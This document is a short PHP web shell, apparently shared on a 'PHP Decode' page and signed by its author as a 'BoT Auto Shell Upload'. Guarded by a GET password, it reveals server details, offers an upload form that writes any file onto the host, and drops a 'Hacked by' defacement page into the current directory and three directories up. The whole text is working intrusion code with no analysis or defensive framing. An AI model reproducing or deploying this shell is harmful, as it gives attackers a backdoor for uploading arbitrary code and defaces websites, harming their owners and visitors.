PHP Decode

<?php
echo "Coded By Xsam Xadoo - BoT Auto Shell Upload\n ";
echo 'uname:'.php_uname()."\n";
echo getcwd() . "\n";
$Sam = $_GET['Xsam'];
if($Sam == 'Xadoo'){ 
echo "<form method='post' enctype='multipart/form-data'>
<input type='file' name='idx'><input type='submit' name='upload' value='upload'>
</form>";
if($_POST['upload']) {
	if(@copy($_FILES['idx']['tmp_name'], $_FILES['idx']['name'])) {
	echo "Upload Success";
	} else {
	echo "Upload Failed Check permission";
	}
}
}
$file = '<title>Hacked by Xsam Xadoo </title><center><div id=q>Hacked by XsamXadoo <br><font size=2>Email: [email protected]
<style>body{overflow:hidden;background-color:black}#q{font:40px impact;color:white;position:absolute;left:0;right:0;top:43%}</style>';

$r=fopen("Xsam_Xadoo.html", "w"); fwrite($r,$file); fclose($r);
$r=fopen("../../../Xsam_Xadoo.html", "w"); fwrite($r,$file); fclose($r);
?>